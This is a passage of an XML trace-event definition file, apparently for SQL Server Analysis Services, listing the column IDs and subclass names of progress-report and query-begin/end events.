            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>6</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>7</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>8</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>9</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>11</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>13</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>15</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>22</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>23</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>24</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>49</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>7</ID>
          <NAME>Progress Report Current</NAME>
          <DESCRIPTION>Progress report current.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>Process</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>Merge</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>3</ID>
                  <NAME>Delete</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>4</ID>
                  <NAME>DeleteOldAggregations</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>5</ID>
                  <NAME>Rebuild</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>6</ID>
                  <NAME>Commit</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>7</ID>
                  <NAME>Rollback</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>8</ID>
                  <NAME>CreateIndexes</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>9</ID>
                  <NAME>CreateTable</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>10</ID>
                  <NAME>InsertInto</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>11</ID>
                  <NAME>Transaction</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>12</ID>
                  <NAME>Initialize</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>13</ID>
                  <NAME>Discretize</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>14</ID>
                  <NAME>Query</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>15</ID>
                  <NAME>CreateView</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>16</ID>
                  <NAME>WriteData</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>17</ID>
                  <NAME>ReadData</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>18</ID>
                  <NAME>GroupData</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>19</ID>
                  <NAME>GroupDataRecord</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>20</ID>
                  <NAME>BuildIndex</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>21</ID>
                  <NAME>Aggregate</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>22</ID>
                  <NAME>BuildDecode</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>23</ID>
                  <NAME>WriteDecode</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>24</ID>
                  <NAME>BuildDMDecode</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>25</ID>
                  <NAME>ExecuteSQL</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>26</ID>
                  <NAME>ExecuteModifiedSQL</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>27</ID>
                  <NAME>Connecting</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>28</ID>
                  <NAME>BuildAggsAndIndexes</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>29</ID>
                  <NAME>MergeAggsOnDisk</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>30</ID>
                  <NAME>BuildIndexForRigidAggs</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>31</ID>
                  <NAME>BuildIndexForFlexibleAggs</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>32</ID>
                  <NAME>WriteAggsAndIndexes</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>33</ID>
                  <NAME>WriteSegment</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>34</ID>
                  <NAME>DataMiningProgress</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>35</ID>
                  <NAME>ReadBufferFullReport</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>36</ID>
                  <NAME>ProactiveCacheConversion</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>37</ID>
                  <NAME>Backup</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>38</ID>
                  <NAME>Restore</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>39</ID>
                  <NAME>Synchronize</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>40</ID>
                  <NAME>Build Processing Schedule</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>41</ID>
                  <NAME>Detach</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>42</ID>
                  <NAME>Attach</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>43</ID>
                  <NAME>Analyze\Encode Data</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>44</ID>
                  <NAME>Compress Segment</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>45</ID>
                  <NAME>Write Table Column</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>46</ID>
                  <NAME>Relationship Build Prepare</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>47</ID>
                  <NAME>Build Relationship Segment</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>48</ID>
                  <NAME>Load</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>49</ID>
                  <NAME>Metadata Load</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>50</ID>
                  <NAME>Data Load</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>51</ID>
                  <NAME>Post Load</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>52</ID>
                  <NAME>Metadata traversal during Backup</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>53</ID>
                  <NAME>VertiPaq</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>54</ID>
                  <NAME>Hierarchy processing</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>55</ID>
                  <NAME>Switching dictionary</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>57</ID>
                  <NAME>Tabular transaction commit</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>58</ID>
                  <NAME>Sequence point</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>59</ID>
                  <NAME>Tabular object processing</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>60</ID>
                  <NAME>Saving database</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>61</ID>
                  <NAME>Tokenization store processing</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>63</ID>
                  <NAME>Check segment indexes</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>64</ID>
                  <NAME>Check tabular data structure</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>65</ID>
                  <NAME>Check column data for duplicates or null values</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>66</ID>
                  <NAME>Analyze refresh policy impact for tabular partition</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>7</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>8</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>9</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>11</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>13</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>15</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>8</ID>
          <NAME>Progress Report Error</NAME>
          <DESCRIPTION>Progress report error.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>Process</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>Merge</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>3</ID>
                  <NAME>Delete</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>4</ID>
                  <NAME>DeleteOldAggregations</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>5</ID>
                  <NAME>Rebuild</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>6</ID>
                  <NAME>Commit</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>7</ID>
                  <NAME>Rollback</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>8</ID>
                  <NAME>CreateIndexes</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>9</ID>
                  <NAME>CreateTable</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>10</ID>
                  <NAME>InsertInto</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>11</ID>
                  <NAME>Transaction</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>12</ID>
                  <NAME>Initialize</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>13</ID>
                  <NAME>Discretize</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>14</ID>
                  <NAME>Query</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>15</ID>
                  <NAME>CreateView</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>16</ID>
                  <NAME>WriteData</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>17</ID>
                  <NAME>ReadData</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>18</ID>
                  <NAME>GroupData</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>19</ID>
                  <NAME>GroupDataRecord</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>20</ID>
                  <NAME>BuildIndex</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>21</ID>
                  <NAME>Aggregate</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>22</ID>
                  <NAME>BuildDecode</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>23</ID>
                  <NAME>WriteDecode</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>24</ID>
                  <NAME>BuildDMDecode</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>25</ID>
                  <NAME>ExecuteSQL</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>26</ID>
                  <NAME>ExecuteModifiedSQL</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>27</ID>
                  <NAME>Connecting</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>28</ID>
                  <NAME>BuildAggsAndIndexes</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>29</ID>
                  <NAME>MergeAggsOnDisk</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>30</ID>
                  <NAME>BuildIndexForRigidAggs</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>31</ID>
                  <NAME>BuildIndexForFlexibleAggs</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>32</ID>
                  <NAME>WriteAggsAndIndexes</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>33</ID>
                  <NAME>WriteSegment</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>34</ID>
                  <NAME>DataMiningProgress</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>35</ID>
                  <NAME>ReadBufferFullReport</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>36</ID>
                  <NAME>ProactiveCacheConversion</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>37</ID>
                  <NAME>Backup</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>38</ID>
                  <NAME>Restore</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>39</ID>
                  <NAME>Synchronize</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>40</ID>
                  <NAME>Build Processing Schedule</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>41</ID>
                  <NAME>Detach</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>42</ID>
                  <NAME>Attach</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>43</ID>
                  <NAME>Analyze\Encode Data</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>44</ID>
                  <NAME>Compress Segment</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>45</ID>
                  <NAME>Write Table Column</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>46</ID>
                  <NAME>Relationship Build Prepare</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>47</ID>
                  <NAME>Build Relationship Segment</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>48</ID>
                  <NAME>Load</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>49</ID>
                  <NAME>Metadata Load</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>50</ID>
                  <NAME>Data Load</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>51</ID>
                  <NAME>Post Load</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>52</ID>
                  <NAME>Metadata traversal during Backup</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>53</ID>
                  <NAME>VertiPaq</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>54</ID>
                  <NAME>Hierarchy processing</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>55</ID>
                  <NAME>Switching dictionary</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>57</ID>
                  <NAME>Tabular transaction commit</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>58</ID>
                  <NAME>Sequence point</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>59</ID>
                  <NAME>Tabular object processing</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>60</ID>
                  <NAME>Saving database</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>61</ID>
                  <NAME>Tokenization store processing</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>63</ID>
                  <NAME>Check segment indexes</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>64</ID>
                  <NAME>Check tabular data structure</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>65</ID>
                  <NAME>Check column data for duplicates or null values</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>66</ID>
                  <NAME>Analyze refresh policy impact for tabular partition</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>4</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>5</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>7</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>8</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>9</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>10</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>11</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>12</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>13</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>14</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>15</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>22</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>24</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>49</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

      </EVENTLIST>
    </EVENTCATEGORY>

    <EVENTCATEGORY>
      <NAME>Queries Events</NAME>
      <TYPE>0</TYPE>
      <DESCRIPTION>Collection of events for queries.</DESCRIPTION>
      <EVENTLIST>

        <EVENT>
          <ID>9</ID>
          <NAME>Query Begin</NAME>
          <DESCRIPTION>Query begin.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>0</ID>
                  <NAME>MDXQuery</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>DMXQuery</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>SQLQuery</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>3</ID>
                  <NAME>DAXQuery</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>4</ID>
                  <NAME>JSON</NAME>
                </EVENTCOLUMNSUBCLASS>
              </EVENTCOLUMNSUBCLASSLIST>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>2</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>3</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>25</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>28</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>32</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>33</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>36</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>37</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>39</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>40</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>41</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>42</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>43</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>44</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>45</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>46</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>47</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>51</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>52</ID>
            </EVENTCOLUMN>
          </EVENTCOLUMNLIST>
        </EVENT>

        <EVENT>
          <ID>10</ID>
          <NAME>Query End</NAME>
          <DESCRIPTION>Query end.</DESCRIPTION>
          <EVENTCOLUMNLIST>
            <EVENTCOLUMN>
              <ID>0</ID>
            </EVENTCOLUMN>
            <EVENTCOLUMN>
              <ID>1</ID>
              <EVENTCOLUMNSUBCLASSLIST>
                <EVENTCOLUMNSUBCLASS>
                  <ID>0</ID>
                  <NAME>MDXQuery</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>1</ID>
                  <NAME>DMXQuery</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>2</ID>
                  <NAME>SQLQuery</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>3</ID>
                  <NAME>DAXQuery</NAME>
                </EVENTCOLUMNSUBCLASS>
                <EVENTCOLUMNSUBCLASS>
                  <ID>4</ID>
                  <NAME>JSON</NAME>
                </EVENTCOLUMNSUBCLASS>
